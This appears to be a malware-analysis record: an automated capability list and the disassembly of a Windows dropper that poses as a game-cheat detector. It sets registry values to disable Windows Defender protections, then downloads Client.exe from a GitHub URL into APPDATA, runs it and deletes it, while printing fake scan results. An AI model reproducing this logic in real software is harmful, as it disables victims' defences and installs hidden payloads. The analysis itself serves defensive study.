Function at 0x140001790
Capabilities:
Create process on windows
Delete file
Disable windows defender features via registry on windows
Download url
Execute command
Query environment variable
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x47], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 7]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001b80
lea rax, [rbp + 0x43]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x3f]
lea edx, [r9 + 0x10]
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140001b80
cmp dword [rbp + 0x3f], 0
setne al
test al, al
je 0x140001b80
lea rax, [rbp - 1]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001843
lea rdx, str.____failed_to_open_registry._n
jmp 0x140001b87
mov dword [rbp + 0x17], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableAntiSpyware
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140001885
lea rdx, str.____failed_to_write_to_registry._n
jmp 0x140001b87
xor edi, edi
mov qword [rsp + 0x40], rdi
lea rax, [rbp + 0xf]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Real_Time_Protection
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x1400018cd
lea rdx, str.____failed_to_write_to_create_new_key._n
jmp 0x140001b87
mov rcx, qword [rbp + 0xf]
mov qword [rbp - 1], rcx
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRealtimeMonitoring
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001879
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableBehaviorMonitoring
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001879
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableOnAccessProtection
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001879
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableScanOnRealtimeEnable
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001879
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x17]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableIOAVProtection
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001879
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
mov qword [rbp + 0x2f], rdi
mov qword [rbp + 0x37], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140001a00
mov rdx, rax
lea rcx, [rbp + 0x1f]
call fcn.140001260
nop
mov rcx, qword [rbp + 0x2f]
mov rdx, qword [rbp + 0x37]
mov rax, rdx
sub rax, rcx
cmp rax, 0xb
jb 0x140001a5d
lea rax, [rcx + 0xb]
mov qword [rbp + 0x2f], rax
lea rbx, [rbp + 0x1f]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x1f]
add rbx, rcx
mov r8d, 0xb
lea rdx, str.Client.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xb], 0
jmp 0x140001a80
mov qword [rsp + 0x20], 0xb
lea r9, str.Client.exe
movzx r8d, byte [rbp - 9]
mov edx, 0xb
lea rcx, [rbp + 0x1f]
call fcn.140001360
lea r8, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0xf
cmova r8, qword [rbp + 0x1f]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.https:__github.com_hudashjndas_asdhujdjias_raw_main_Client.exe
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x140001af0
lea r8, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0xf
cmova r8, qword [rbp + 0x1f]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0xf
cmova rcx, qword [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, str.Find_XONE_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call section..text
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Find_Midnight_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call section..text
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Cheats_not_found_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call section..text
nop
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x140001ba0
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c14
jmp 0x140001ba0
lea rdx, str.____run_the_program_as_admin._press_enter_to_dismiss._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call section..text
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140001d10
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret